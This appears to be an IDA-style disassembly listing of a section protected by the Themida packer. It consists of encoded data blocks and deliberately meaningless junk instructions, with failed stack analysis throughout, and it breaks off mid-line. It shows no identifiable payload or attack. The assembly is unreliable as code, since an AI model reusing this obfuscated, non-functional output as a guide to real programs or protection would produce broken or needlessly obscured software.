0B0758CB8h dd 14E8512Ch, 81000000h, 17D2F689h, 39548BDh, 0B445D8AEh dd 0D4024A34h, 809ADF8Eh, 595FD6EEh, 66C8B70Fh, 6610F7B8h dd 0F83F3BBh, 38Ah, 0C1BF0F00h, 11E9h, 6EE9F200h, 81DFDB8Fh dd 0AA412929h, 0CDA16FA8h, 0B70F80E8h, 0D08166C0h, 8166AA72h dd 0B41B08D1h, 6E94Bh, 6370000h, 55F710E5h, 0AD76BE66h dd 0E82CC080h, 0Ah, 529341D0h, 0BE7C24E4h, 0B25A6385h dd 0D38B66A3h, 4810Fh, 0B8660000h, 0EFB7FB42h, 876ACB81h dd 10E925C1h, 7E000000h, 0CE23313h, 9DDD7668h, 0CF886F59h dd 0E9BF9E6Ah, 14h, 815A0A04h, 8185849Eh, 3414B397h, 6E6704EAh dd 0EF2AC73Dh, 0E8C3BF0Fh, 6, 0C7748646h, 0D08B727Bh, 0D381665Eh dd 0B966A80Bh, 8A0F0A13h, 15h, 0DE851h, 4F460000h, 2F5F272Ah dd 201B1019h, 5A5111C3h, 0CE85Fh, 0EA940000h, 0FCFE7CE4h dd 4243BA0Bh, 3AB9C63Ah, 5F7FBAFDh, 0C523C881h, 0F08046EFh dd 3830F02h, 0F000000h, 0B70FDBB7h, 12E960C2h, 0D7000000h dd 0F0279544h, 0E312582Eh, 9A77F694h, 0C66F1704h, 0F870FBBh dd 0E9000000h, 0Ah, 9A02882Ch, 7D4192A1h, 0E8616EA9h, 0Ch dd 0C878688Eh, 2EFB4599h, 87ABFDF1h, 2870Fh, 0FC8A0000h dd 0E9C5B058h, 14h, 0A00D3B00h, 29C4F1D7h, 0D0F47D6h, 0D0FF502Ch dd 61D1D69Bh, 94D68166h, 0BB6660B3h, 0E1801773h, 11E96110h dd 9D000000h, 0DBBD9022h, 0CCD36315h, 59CBB35Ch, 0F186BD9Dh dd 0C2BA5953h, 60368D24h, 0BED08166h, 93BA664Ch, 0FE9610Dh dd 0FB000000h, 5895E85h, 0FA68F83h, 2944BB72h, 0B70F7056h dd 0C3B70FC7h, 12E9h, 0C46E3C00h, 13B0F3ECh, 0D25875Dh dd 0EFACF9DAh, 8B4662B2h, 0F53F5CBh, 8Ch, 30BA5A00h, 0F4F720Ch dd 0B84h, 6E900h, 1EF10000h, 0C4E928A6h, 2800FF5h, 8A000000h dd 998FBFCAh, 605344C9h, 0EE9h, 0FD63FF00h, 1B2B0FD5h dd 7F66A4BDh, 0FC49959h, 85h, 0F95E6100h, 28E0Fh, 0C18B0000h dd 47FCC981h, 820F64E0h, 17h, 0DE960h, 0C3FB0000h, 2034BA42h dd 917644A2h, 6630AB78h, 0F561FE8Bh, 0C78B6660h, 0D491C981h dd 66613F5Fh, 6653F08Bh, 0D3F6F381h, 0C7B70F5Fh, 5820Fh dd 81660000h, 0E8278FD9h, 0Bh, 1CCC1331h, 36A1D62Bh, 0BEFA874Ch dd 7470AA9h, 0FFBE665Eh, 0CA8166B2h, 81666EE7h, 0B3A56DE3h dd 0CB8B6626h, 58C0Fh, 81660000h, 81D81FEEh, 5B7D88DAh dd 0F6816012h, 316FB21Eh, 528BB5BBh, 860F6152h, 1, 0E8F98AFCh dd 7, 0E9D7E8DAh, 52C27A19h, 5858F4B6h, 0AABE51F8h, 5828E6F1h dd 5879B450h, 0FB866F9h, 2850FCAh, 8B000000h, 816651C1h dd 5F7B5FDBh, 0EF5B81BFh, 0B5F0801Dh, 0F671B966h, 7E9h dd 0F7B80C00h, 0BF11496Dh, 5AC38B50h, 0CE9h, 0B017EF00h dd 64A48B17h, 0C06F4194h, 0BE895h, 140B0000h, 5BBFA92Ch dd 0FDF6EABEh, 59B157CAh, 83BF5859h, 535387DFh, 7E9h, 0CAF5E200h dd 45215937h, 2ED4805Fh, 9880Fh, 860F0000h, 3, 0FC18B66h dd 283h, 0E9CA8B00h, 7, 0AC85F146h, 8BC85ADBh, 92E281C1h dd 81422C6Bh, 95ECF1D2h, 0B1F0801Eh, 81D38B66h, 223597DFh dd 0E650BB76h, 0BB667BA4h, 0FF5A941h, 0D580D3BFh, 0F969B7D3h dd 12E9h, 0E7061900h, 7B690B21h, 0EDE2DA4Ch, 0A2A05237h dd 0E9E4A0C4h, 0Fh, 8B0AB70Eh, 1A7B5E9h, 7048E217h, 0E82BE477h dd 0Fh, 208AA5B8h, 918F8458h, 424EE637h, 66D07A97h, 0EA34E181h dd 0E960F55Ah, 10h, 0A4C4E6EDh, 0BD8A800Fh, 0E518A81Dh dd 40EEA232h, 4880Fh, 0B8660000h, 0F613425h, 0D780D6B7h dd 0E8EF81FDh, 8A683A50h, 66B966DAh, 0E9F28B5Fh, 11h, 0CF2037FBh dd 1BC64F92h, 98945D4Eh, 4F17E463h, 51CAB375h, 13E9h, 0D0E24F00h dd 0D8BA5EC4h, 6DFA2D31h, 0E226968Eh, 917CAD41h, 13E85Eh dd 37470000h, 587D564Ch, 0FC42653Bh, 5A2E42EFh, 7396952Dh dd 0D88B668Ch, 9E959h, 9FCC0000h, 0B0649093h, 0F8E3ABAh dd 1981h, 10E800h, 272B0000h, 58B449B6h, 31165E8h, 0AA18874Ah dd 0B70F8C29h, 0D0815BFAh, 789C9E8Fh, 5F576060h, 10D18161h dd 612CB0A1h, 66F9E1B3h, 577F21BAh, 0DB81665Fh, 0F9602F06h dd 0E57D53BAh, 0BF0F6172h, 0FC18BCAh, 98Bh, 38A0F00h, 80000000h dd 0E9608FEEh, 14h, 673E8F0Bh, 7800D638h, 47E6EEB0h, 0D9E0171Fh dd 0F1DAD586h, 7E861h, 33C80000h, 47FD3581h, 0F781603Ch dd 507D0C77h, 7971F381h, 58615A00h, 830FBBB1h, 5, 1502DDB9h dd 80DA8B64h, 8166A3CDh, 66F154D2h, 669F42B9h, 0CDE0E181h dd 1909F381h, 0F57337Dh, 0E85FCBBFh, 12h, 624516BDh, 0A4892F8Fh dd 486F99B2h, 4FD4C9D7h, 8B663748h, 0F38158D9h, 194D96D6h dd 94B86656h, 66F55ED9h, 0E9BC71B8h, 0Ah, 0BC3C5BB5h, 5F566E7Eh dd 860F8FC4h, 3, 66D2BF0Fh, 0E9287EBBh, 0Ah, 35331C74h dd 942126E7h, 8E0F2FCCh, 17h, 12E9h, 9B46CC00h, 54967C3Ch dd 2DA5AD60h, 430D84E6h, 60816DFFh, 5909C181h, 0E381690Ah dd 0D3FCBEDh, 0CE8B5061h, 0F08B5759h, 0DE816658h, 0EE963A3h dd 0CF000000h, 417743C5h, 0C03B5568h dd 28939761h, 0FABF0F6Ch, 0DE8h, 68964800h, 67495B50h dd 0EE631A1Dh, 13E9F697h, 6000000h, 0F955CEEh, 0CD61D6EBh dd 0B570D628h, 8B3C58E8h, 0F5FA04Bh, 168Eh, 11E900h, 75380000h dd 6FFBE447h, 3E53B45Ah, 812417C3h, 0B8B93D00h, 47D30FF0h dd 96C9B866h, 29BE07B8h, 28D0F69h, 8B000000h, 8E8D7h, 5BBA0000h dd 94F4CC6Bh, 6E98E91h, 60000000h, 0FA64A200h, 14E95F5Eh dd 0DF000000h, 0D6E94A85h, 5AC12607h, 0CA240A96h, 7E1F9820h dd 0FFBA76Fh, 0DA81F6B7h, 5085548Ch, 3CEDBE66h, 8BFFB70Fh dd 0D4D5B9C8h, 0C7B36497h, 66DFBF0Fh, 0CC5EEA81h, 708FBE66h dd 0F8AC080h, 38Ah, 0C2BF0F00h, 198D0Fh, 14E90000h, 0C000000h dd 0A2864C07h, 0A3C9ECFAh, 0EDAE7EFCh, 0CED2D7ABh, 0FC71A765h dd 840642BAh, 0FABF0F5Fh, 9536D781h, 5E92B21h, 66000000h dd 256B92F3h, 10E9h, 0F7D04B00h, 54C0A895h, 2B31AEFAh dd 1D88ADD5h, 880F5185h, 2, 0E95FD68Bh, 0Eh, 729AFDC6h dd 1C1F4658h, 705FE20Ch, 0FE8FEC4h, 1A000000h, 5BF13AAh dd 1C197339h, 0B0024EA6h, 8F0F8DE8h, 6, 0E98DE81h, 665F0937h dd 0BF66C88Bh, 0F381ED2Fh, 6E1EF409h, 12E9h, 0E2C83B00h dd 0B799EA43h, 0EDCF012Fh, 0E3CBCD02h, 6688D31Fh, 44FCCF81h dd 14E8h, 6EA2B200h, 0E2019892h, 0BF804A82h, 0F90882E8h dd 0D2E04AE2h, 6880FD1h, 81000000h, 21346CDFh, 8B0F5F17h dd 0Ah, 4880Fh, 0BA660000h, 7E9EB8Fh, 0A0000000h, 473FA352h dd 0DA80DD6Eh, 5880F16h, 60000000h, 61F55B53h, 0C98166F8h dd 0EA8137FFh, 6AD3607Ch, 0FCDAB70Fh, 0BE9h, 61C8D000h dd 9159070Fh, 9B7D2B59h, 0FD1ED881h, 0F9B9230Fh, 813B46DAh dd 364E96EAh, 7FBE6036h, 602DB0BCh, 820Fh, 0BF0F0000h dd 0E86161F1h, 0Ch, 78630C4Bh, 6134E13Dh, 630B7343h, 38A0Fh dd 8B660000h, 66565ECFh, 5B4D0ABEh, 4840FFCh, 66000000h dd 57C645B9h, 0F47E09BEh, 8B665806h, 5E8D3h, 48EA0000h dd 0F37C9C8h, 0E958D9BFh, 9, 0E44508DEh, 4CD568C1h, 0EE8ECh dd 0B8C0000h, 0D2A15AAAh, 149AA7A8h, 2D54B91Dh, 0BE8h dd 1A995700h, 9A483CA7h, 0CB1B6DFh, 10E9h, 6D82D700h, 256A44E6h dd 5EDB8F2h, 4904846Fh, 665E58DAh, 60E4E7B8h, 76E5BE66h dd 11E9h, 0BEB27300h, 0C4A77263h, 76E12F17h, 72C5DC34h dd 0F861DC69h, 0ADDE8166h, 57C88B4Ah, 0F5F1BB7h, 588h dd 0C88B6000h, 0D68161F9h, 39322DA4h, 0DE9h, 381FC200h dd 0EEB5465Eh, 0A5FC8091h, 0BF0FB1C6h, 0E870FF7h, 0E9000000h dd 9, 345900FDh, 67FE8999h, 0CA8B6678h, 13E9F8h, 24B00000h dd 97144478h, 374640CCh, 8C165285h, 0AE8B310Eh, 0FCCB8B70h dd 0F13ABE66h, 0D0BFC78Ah, 665D01D6h, 8A0FD38Bh, 1, 0C28166F5h dd 9E823E0h, 0F2000000h, 8FAC99F1h, 0B375BCC9h, 14E8h dd 6C39F400h, 0DD7B0844h, 405F3270h, 7753DBD3h, 467290D1h dd 59C78B51h, 5860F5Ah, 66000000h, 0F3A2C081h, 0FE8h, 0F23A9600h dd 3EAEDE7h, 603BB5D5h, 0C5C3B4CAh, 665AF28Bh, 0F2E95B9h dd 383h, 46C78000h, 8C0Fh, 0CF810000h, 1480949h, 0F916E480h dd 0DA8B91B7h, 0ED35BA66h, 609AEB80h, 890F60h, 61000000h dd 5161FE8Bh, 0A298E181h, 0F95A6854h, 5840Fh, 0B4B90000h dd 0E92D27FDh, 7, 0E341C0DBh, 0E865698Dh, 0Ch, 0ED9450FBh dd 0C0948569h, 0D67A1580h, 5FE7D780h, 0C7EE8166h, 0FEBF0F57h dd 11E8h, 0AC6FBD00h, 6FF33985h, 1BBB4702h, 904F8C2Dh dd 0D08AC960h, 0B4EA815Fh, 0F39F68Bh, 487h, 0F38B5600h dd 13E85Eh, 0A3800000h, 30867A65h, 2FA7A37Ah, 42210CF1h dd 810F8B60h, 28E0FF9h, 60000000h, 0FFC5961h, 198Eh, 14E900h dd 7B530000h, 6C41937Eh, 0CA57412Ch, 69A36491h, 39B8AE23h dd 0D3BE4CE8h, 537D2F4Ch, 0BE8h, 0A3906800h, 0EA5501F5h dd 0B50EE8DBh, 880Fh, 585B0000h, 2AD7B866h, 58D0Fh, 81660000h dd 66B391DEh, 0F51F78Bh, 8A5BCEBFh, 60C28AE5h, 0D681D88Ah dd 2F33B4D0h, 62F78161h, 0B96AE62Ch, 5A636136h, 0BB66D68Bh dd 81666214h, 0FCA38D1h, 1085h, 9E95300h, 64000000h, 66B6BA34h dd 222E5AE9h, 0CEE0815Ah, 0E83E5EAFh, 5, 0B1022938h, 0DE920h dd 0D0E00000h, 0A8F2B5F2h, 0C26B2147h, 58DDB2A0h, 9E9h dd 0A2228700h, 0C90EF47Eh, 0BF0F4F4Dh, 78E181FAh, 8B464272h dd 0F98B66F8h, 0C1C6F681h, 0A3B846EBh, 0E83433D0h, 0Ch dd 0C16E83EEh, 0DAF888D2h, 0DBD19086h, 1132B866h, 0AE95Bh dd 610A0000h, 82F25739h, 2DB74BAh, 0F28BB3B1h, 25AC081h dd 8B6673EEh, 890FC3h, 0E9000000h, 11h, 5B34D34Bh, 0D46661Dh dd 0D4B99D7Dh, 93D0E77Fh, 0CE9B3h, 0BF730000h, 45D6E7A5h dd 40FE822h, 0B866B4EAh, 0E9608BACh, 13h, 8A686069h, 5E01BC15h dd 0B6ACAA6Dh, 0C4F5FCB0h, 0E9C8A86Dh, 0Eh, 3B3AC915h dd 64B6C89Fh, 335E2F8Eh, 0BF61DB5Fh, 6EBB9060h, 0DE8h dd 0C566DA00h, 41C9764h, 0B1848A21h, 5E80212h, 0D9000000h dd 5E70F916h, 0CBEDC081h, 5E5F778Bh, 75F06EBAh, 0D78B6644h dd 0BBEB8052h, 2DBE665Eh, 61FC60EEh, 0CD7211B9h, 0C68B6645h dd 0DE5CBA66h, 0A2F181F9h, 0F4176C8h, 685h, 41DE8100h dd 5106596Dh, 0EE9h, 0AAA10200h, 0D4E81108h, 4B693B5Ch dd 59CDAE9Eh, 0DA80ECB2h, 63BA60EBh, 80017C6Bh, 8B6197D9h dd 6E9C6h, 649E0000h, 0E1F487F6h, 2840F60h, 53000000h dd 0F61F958h, 286h, 66CF8A00h, 818FF3BFh, 70255CAh, 0BE81Ah dd 0C2CB0000h, 0E336EEC0h, 0DB664898h, 5E964h, 58FE0000h dd 5FDF1882h, 8056C18Bh, 665E12D2h, 0FFF64B8h, 38Dh, 0D3B70F00h dd 0CBCA8153h, 5F0CEF16h, 7E9h, 501B6000h, 5D9DB974h, 77D9EA81h dd 0B70F0D18h, 0E953F9DBh, 6, 0F745EDF8h, 0E858AC70h, 14h dd 1B18CE6Fh, 0E42156A8h, 3C1C6F2Dh, 0E9C702EFh, 0A9010129h dd 8D28160h, 0F87016B7h, 0D2805F61h, 66FB8BF6h, 8A596FBFh dd 6E9F4h, 0B0420000h, 81E395A8h, 11E9h, 91A97600h, 0DB7BDEC9h dd 4FC81E3Bh, 97AD6AFCh, 8C0F5EAFh, 0Dh, 0F2816660h, 870F4C48h dd 0 ; --------------------------------------------------------------------------- popa mov al, dl mov esi, 0BC9E57Ah pusha jmp loc_6118CB ; --------------------------------------------------------------------------- dw 0F77Ah ; --------------------------------------------------------------------------- aas retf ; --------------------------------------------------------------------------- dw 39F5h dd 1F36F203h, 2A94970Ch db 0BEh, 0ABh, 8Eh ; --------------------------------------------------------------------------- loc_6118CB: ; CODE XREF: Themida_:006118B5j call near ptr loc_6118E2+1 or [ebp-25h], dl dec ebp pop ecx jg short near ptr dword_61119C+6CDh pop ds mov [edi-7F95CE41h], bl lahf daa jp short near ptr dword_61119C+706h loc_6118E2: ; CODE XREF: Themida_:loc_6118CBp imul cl or [eax], eax ; --------------------------------------------------------------------------- dw 0 ; --------------------------------------------------------------------------- push edi mov esp, 0C8AB97Bh adc [esi+ebx*2], dh popa or ax, 1828h mov esi, 7FC12213h push esi mov si, 0B328h pop ebx movsx ebx, bx mov bx, 426Ah push edx sub ebx, 27569E34h pop edx or ah, 89h jns $+6 and ch, 6Fh push esi jmp loc_611931 ; --------------------------------------------------------------------------- dd 137C6732h, 6BA6B369h, 74199B69h db 70h ; --------------------------------------------------------------------------- loc_611931: ; CODE XREF: Themida_:0061191Fj pop edx call sub_611944 sar byte ptr [ecx+4E6AD53h], cl push ebx into jz short near ptr loc_61194C+4 ror byte ptr [ebx], 1 dec esi ; =============== S U B R O U T I N E ======================================= sub_611944 proc near ; CODE XREF: Themida_:00611932p mov cl, 2Dh pop edx call sub_611953 loc_61194C: ; CODE XREF: Themida_:0061193Fj or edx, [eax-0DE11AD4h] retn sub_611944 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_611953 proc near ; CODE XREF: sub_611944+3p clc pop ecx jmp loc_61196D ; --------------------------------------------------------------------------- dw 9A62h dd 0F8638C01h, 0F782716Fh, 70A5FED7h, 355E596Ah db 24h ; --------------------------------------------------------------------------- loc_61196D: ; CODE XREF: sub_611953+2j cmc mov ax, dx movzx edx, si and edx, 3AC2ED07h movzx edx, dx mov ecx, edi jmp loc_611996 ; --------------------------------------------------------------------------- dd 659A4ECEh, 0D19AD28Bh, 0FEACD2BDh, 16D5AAACh db 6Dh, 32h ; --------------------------------------------------------------------------- loc_611996: ; CODE XREF: sub_611953+2Cj xor ebx, 4173D757h add edi, 71D49148h mov di, bx jmp loc_6119B8 ; --------------------------------------------------------------------------- dw 0F257h dd 0DB74BA82h, 452F7B02h, 237F3031h ; --------------------------------------------------------------------------- loc_6119B8: ; CODE XREF: sub_611953+52j jmp loc_6119CA ; --------------------------------------------------------------------------- db 89h, 2Fh, 63h dd 983F4EEDh, 1784A024h db 0EFh, 37h ; --------------------------------------------------------------------------- loc_6119CA: ; CODE XREF: sub_611953:loc_6119B8j jbe loc_6119D8 jnb loc_6119D8 mov edi, ebx loc_6119D8: ; CODE XREF: sub_611953:loc_6119CAj ; sub_611953+7Dj sbb di, 7D61h mov ecx, esi mov bx, si push eax mov cl, 88h pop ebx loc_6119E6: ; CODE XREF: sub_6119F8+3Fj call sub_6119F8 dec esi fsub qword ptr [edi] push ecx jbe short near ptr loc_611A13+2 test byte ptr [edi+6Fh], 0F6h test al, 0ABh inc eax sub_611953 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_6119F8 proc near ; CODE XREF: sub_611953:loc_6119E6p push eax mov esi, 183F059Ch pop edi pop edx push edi jmp loc_611A0C ; --------------------------------------------------------------------------- dw 0E50Ah dd 0CA69E82Ch ; --------------------------------------------------------------------------- loc_611A0C: ; CODE XREF: sub_6119F8+9j pop edx clc mov edx, 12429F01h loc_611A13: ; CODE XREF: sub_611953+9Cj adc di, 22B6h add eax, 3685AD35h cmc adc bx, 0C38Dh jmp loc_611A2F ; --------------------------------------------------------------------------- db 9Bh, 0E1h, 0AAh db 0C8h, 5Bh, 41h ; --------------------------------------------------------------------------- loc_611A2F: ; CODE XREF: sub_6119F8+2Cj mov al, 97h clc call near ptr sub_611A3E jp short loc_6119E6 and [bp+di-34C2h], ecx sub_6119F8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_611A3E proc far ; CODE XREF: sub_6119F8+3Ap push ebx mov ebx, 64DD9D1Fh pop edx pop edx sbb al, 24h loc_611A49: ; CODE XREF: sub_611A3E+5Cj and bl, 0CAh mov ch, 56h push edx movsx ecx, di pop edi mov cx, ax mov ebx, 27C8AA4Eh add edi, 6AB3E25Bh mov di, dx add cl, 0D6h mov cx, dx jmp loc_611A7A ; --------------------------------------------------------------------------- db 5Fh dd 0D8D18FC4h, 25B61B8Eh db 76h, 50h ; --------------------------------------------------------------------------- loc_611A7A: ; CODE XREF: sub_611A3E+2Cj jmp loc_611A89 ; --------------------------------------------------------------------------- db 43h dd 24F729B7h, 7B6EDDE1h ; --------------------------------------------------------------------------- retf ; --------------------------------------------------------------------------- loc_611A89: ; CODE XREF: sub_611A3E:loc_611A7Aj mov al, ch mov ch, 0F2h movzx edx, ax xor cx, 0C8C8h jmp loc_611AAB ; --------------------------------------------------------------------------- jmp short loc_611A49 ; --------------------------------------------------------------------------- dd 59BDAECEh, 54C7874Fh, 0EFB7D9A3h db 57h, 0D8h, 64h ; --------------------------------------------------------------------------- loc_611AAB: ; CODE XREF: sub_611A3E+57j mov bx, 7319h mov eax, esi push esi jnp loc_611ABB movzx eax, bx loc_611ABB: ; CODE XREF: sub_611A3E+74j pop edi push eax call near ptr loc_611ACE+4 cld push es lodsb push edx push edi and eax, 0F673C01Dh xchg eax, esp sti loc_611ACE: ; CODE XREF: sub_611A3E+7Fp mov edi, 0FCBC477Dh sub_611A3E endp ; sp-analysis failed pop edi pop ecx pusha mov ecx, 17844E6Dh mov al, 60h popa and esi, 405D199Ah push ecx add si, 206Dh pop edi stc adc dl, 63h jmp loc_611AF9 ; --------------------------------------------------------------------------- dd 69056FECh ; --------------------------------------------------------------------------- lodsd loc_611AF9: ; CODE XREF: Themida_:00611AEFj jge loc_611B02 mov ax, cx loc_611B02: ; CODE XREF: Themida_:loc_611AF9j pusha movsx ebx, si jnz loc_611B0E mov eax, edi loc_611B0E: ; CODE XREF: Themida_:00611B06j popa mov eax, 49396623h or al, 0BAh pusha pusha jno $+6 mov di, 1C18h popa clc popa movzx edi, ax sbb ebx, 4256CFA5h mov edi, 3962B11h loc_611B34: ; CODE XREF: Themida_:00611B46j cld call sub_611B4E and eax, 614A0D15h stc cdq and al, 0D3h aas mov bh, 5 loope loc_611B34 sahf or [ebx], ecx adc [ecx], ecx xchg eax, esp ; =============== S U B R O U T I N E ======================================= sub_611B4E proc near ; CODE XREF: Themida_:00611B35p jl loc_611B5A ja $+6 loc_611B5A: ; CODE XREF: sub_611B4Ej pop eax call near ptr loc_611B6E+3 mov ds:6BBCF7B1h, eax pop edi sub dword ptr [ecx-3Dh], 68h push edi pop ebx push ss pop ebx loc_611B6E: ; CODE XREF: sub_611B4E+Dp mov dword ptr [eax], 0AB2AB870h sub_611B4E endp ; sp-analysis failed jp short loc_611BAB pop ecx movsx edi, ax jmp loc_611B92 ; --------------------------------------------------------------------------- db 0BBh dd 0B7BF75A0h, 50C4D285h, 7B2F2A7h, 8745BD82h db 1Dh, 0FAh ; --------------------------------------------------------------------------- loc_611B92: ; CODE XREF: Themida_:00611B7Aj call near ptr loc_611B9E+5 mov [ecx+70950FDFh], gs cli loc_611B9E: ; CODE XREF: Themida_:loc_611B92p rcl byte ptr [ebx-16AFF64Bh], cl adc al, [eax] ; --------------------------------------------------------------------------- dw 0 db 0EDh, 0D8h, 3Ah ; --------------------------------------------------------------------------- loc_611BAB: ; CODE XREF: Themida_:00611B74j movsb xor eax, 1C3207A2h xchg eax, ecx cmpsb jmp near ptr 0F959E252h ; --------------------------------------------------------------------------- dd 0E85A3A2Ah, 0Fh, 93BBCA7h, 46FE06AEh, 127AC955h, 6627C1DDh dd 6058D88Bh, 61CB8B66h, 0EBB7BF66h, 8E9F8h, 0AA560000h dd 7A9895E7h, 0AE9677Bh, 0 db 51h ; Q db 0B9h ; ╧ db 90h ; ░ db 2Ah ; * db 2 db 0F4h ; Т db 0B2h ; ╡ db 0C9h ; и db 0B9h ; ╧ db 66h ; f db 0BBh ; ╩ db 3Bh ; ; db 2Bh ; + db 8Ah ; ┼ db 0D3h ; с db 51h ; Q db 0Fh db 8Dh ; █ db 3 db 0 db 0 db 0 db 66h ; f db 8Bh ; ▀ db 0F8h ; Ь db 58h ; X db 60h ; ` db 0B9h ; ╧ db 85h ; ┘ db 0E6h ; Ф db 5Bh ; [ db 69h ; i db 8Bh ; ▀ db 0D7h ; в db 61h ; a db 53h ; S db 60h ; ` db 0E9h ; И db 13h db 0 db 0 db 0 dw 854h ; --------------------------------------------------------------------------- jmp short locret_611C27 ; --------------------------------------------------------------------------- dw 0E7FEh dd 2C3A90A9h db 57h, 0Fh, 9Dh ; --------------------------------------------------------------------------- locret_611C27: ; CODE XREF: Themida_:00611C1Cj retn ; --------------------------------------------------------------------------- dd 298AC43Ch db 2Ch db 0E8h ; Х db 6 db 0 db 0 db 0 db 6Dh ; m db 33h ; 3 db 14h db 0B4h ; ╢ db 0A5h ; ╔ db 0Eh db 59h ; Y db 61h ; a db 59h ; Y db 8Ah ; ┼ db 0CAh ; й db 80h ; ─ db 0CCh ; л db 0DBh ; ш db 0Fh db 8Bh ; ▀ db 1 db 0 db 0 db 0 db 0F8h ; Ь db 66h ; f db 8Bh ; ▀ db 0F2h ; Р db 66h ; f db 81h ; │ db 0EFh ; О db 17h db 5Eh ; ^ db 81h ; │ db 0CEh ; н db 4Ah ; J db 9Ah ; db 6Ah ; j db 79h ; y db 0E9h ; И db 9 db 0 db 0 db 0 dw 4AB0h dd 4C91E2D6h, 60BF89E8h, 7E9h, 0D549C900h, 38C01C33h, 0F61A4B4h dd 28Ah, 81FE8B00h, 0E0B3C4EBh, 66F88A4Dh, 0B8413CBEh dd 9F9B56h, 29BE6653h, 816059E2h, 0B3CE3FE1h, 61EC8A33h dd 0E8C1B70Fh, 11h, 547AA39Fh, 8F3E6714h, 6FE39B2Bh, 9C90DB72h db 0BEh ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_611CB5 proc near jmp sub_611CC7 sub_611CB5 endp ; --------------------------------------------------------------------------- dw 6594h dd 152E5705h, 0DD2EEF78h db 5, 9Fh, 12h ; =============== S U B R O U T I N E ======================================= sub_611CC7 proc near ; CODE XREF: sub_611CB5j pop ebx mov si, 7E67h mov edi, ebx jmp loc_611CDF ; --------------------------------------------------------------------------- db 26h dd 0D79DBB71h, 0F0279544h db 2Eh, 58h, 12h ; --------------------------------------------------------------------------- loc_611CDF: ; CODE XREF: sub_611CC7+7j jmp loc_611CF4 ; --------------------------------------------------------------------------- dd 4ACC41F3h, 0D33E63AAh, 0C4E4F2B9h, 0B66D5272h ; --------------------------------------------------------------------------- loc_611CF4: ; CODE XREF: sub_611CC7:loc_611CDFj mov edi, 6CF061BDh jle loc_611D09 jmp loc_611D09 ; --------------------------------------------------------------------------- dd 4E77DA2Bh db 1 ; --------------------------------------------------------------------------- loc_611D09: ; CODE XREF: sub_611CC7+32j ; sub_611CC7+38j jmp loc_611D13 ; --------------------------------------------------------------------------- push 0C956C01Ah loc_611D13: ; CODE XREF: sub_611CC7:loc_611D09j mov bh, 5Bh cld jmp loc_611D2F ; --------------------------------------------------------------------------- or [edx-63C8E804h], ecx xlat lea esi, ds:81403D91h add al, 74h cmp eax, 21B46085h loc_611D2F: ; CODE XREF: sub_611CC7+4Fj jnb loc_611D37 mov ecx, edx loc_611D37: ; CODE XREF: sub_611CC7:loc_611D2Fj js loc_611D43 or ecx, 7C48C6B3h loc_611D43: ; CODE XREF: sub_611CC7:loc_611D37j jo loc_611D55 jmp loc_611D55 ; --------------------------------------------------------------------------- dw 7727h dd 2B8E2895h db 0A8h ; --------------------------------------------------------------------------- loc_611D55: ; CODE XREF: sub_611CC7:loc_611D43j ; sub_611CC7+82j adc dh, 0CAh push eax push ecx sbb ebx, 18B07DFAh pop ebx pop eax mov si, 0CE35h mov bx, di jmp loc_611D77 ; --------------------------------------------------------------------------- dw 84EAh dd 0E5742C11h db 0D6h, 0ABh, 26h ; --------------------------------------------------------------------------- loc_611D77: ; CODE XREF: sub_611CC7+A2j mov dx, 82DCh call near ptr loc_611D82+4 db 36h insb loc_611D82: ; CODE XREF: sub_611CC7+B4p mov ebx, 0F5AA260Eh sub_611CC7 endp ; sp-analysis failed pop ecx add cl, 65h xor edx, 5F7F2B27h mov edx, 138F2408h pusha call sub_611DAB das pop edx hlt ; --------------------------------------------------------------------------- dec edx retn 0B189h ; --------------------------------------------------------------------------- db 7Dh dd 0CE61F9D9h db 0BAh, 0A8h, 0DFh ; =============== S U B R O U T I N E ======================================= sub_611DAB proc near ; CODE XREF: Themida_:00611D97p mov eax, edi pop ebx push edi sbb di, 7007h pop edi popa call near ptr loc_611DC0+2 add ah, al push cs sbb [ecx], esp loc_611DC0: ; CODE XREF: sub_611DAB+Bp test [edi+ecx], ebx sub_611DAB endp ; sp-analysis failed test [esi], eax ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- or ecx, 289D921h pop ecx jmp loc_611DDD ; --------------------------------------------------------------------------- dd 2276276Bh, 29C14BBh db 0E6h ; --------------------------------------------------------------------------- loc_611DDD: ; CODE XREF: Themida_:00611DCFj add ax, 26BAh adc di, 0C85Fh mov cx, di sub edx, 7E646AD8h call sub_611E02 or dh, [esi+0Fh] retn 695Ch ; --------------------------------------------------------------------------- db 16h dd 90FD5449h db 2Eh, 38h ; =============== S U B R O U T I N E ======================================= sub_611E02 proc near ; CODE XREF: Themida_:00611DF0p pop edx jz loc_611E19 jmp loc_611E19 ; --------------------------------------------------------------------------- dw 3FEBh dd 1A8AF75Fh, 94400AEAh db 0DDh ; --------------------------------------------------------------------------- loc_611E19: ; CODE XREF: sub_611E02+1j ; sub_611E02+7j jo $+6 cld pusha mov ecx, 412E22B5h cld popa add bh, 34h pusha adc edi, 2C94146Dh mov al, 56h popa push eax stc pop edi jl loc_611E41 push edx cmc pop eax loc_611E41: ; CODE XREF: sub_611E02+36j jbe loc_611E4B mov di, 0EA5Ch loc_611E4B: ; CODE XREF: sub_611E02:loc_611E41j mov eax, esi or di, 15Ch stc mov bh, 79h push edi pop edi clc pusha sbb edx, 4DC041A7h call near ptr loc_611E6D+2 rcr al, 1 mov dword ptr [edi+0Fh], 0C5ACAF15h loc_611E6D: ; CODE XREF: sub_611E02+5Dp add byte ptr [ebx], 8Ah sub_611E02 endp ; sp-analysis failed enter 615Bh, 0B8h sbb cl, [ebx+60F92AB7h] mov ch, dh sub dx, 906Fh popa cld push ebx sbb eax, 34E4421Fh pop edx mov ah, 10h jmp loc_611EA6 ; --------------------------------------------------------------------------- dw 3C9Ah dd 8E8E55CDh, 0B72874B1h, 0E2D40674h, 0C00ECD17h db 3Ah, 7Ch ; --------------------------------------------------------------------------- loc_611EA6: ; CODE XREF: Themida_:00611E8Dj clc jmp loc_611EB6 ; --------------------------------------------------------------------------- dd 0EED06C65h, 64D6F4C6h ; --------------------------------------------------------------------------- scasb sti loc_611EB6: ; CODE XREF: Themida_:00611EA7j pusha jns loc_611EC3 jp $+6 loc_611EC3: ; CODE XREF: Themida_:00611EB7j sbb ebx, 59803081h popa xor edx, 6ED82097h jmp loc_611EE7 ; --------------------------------------------------------------------------- db 92h, 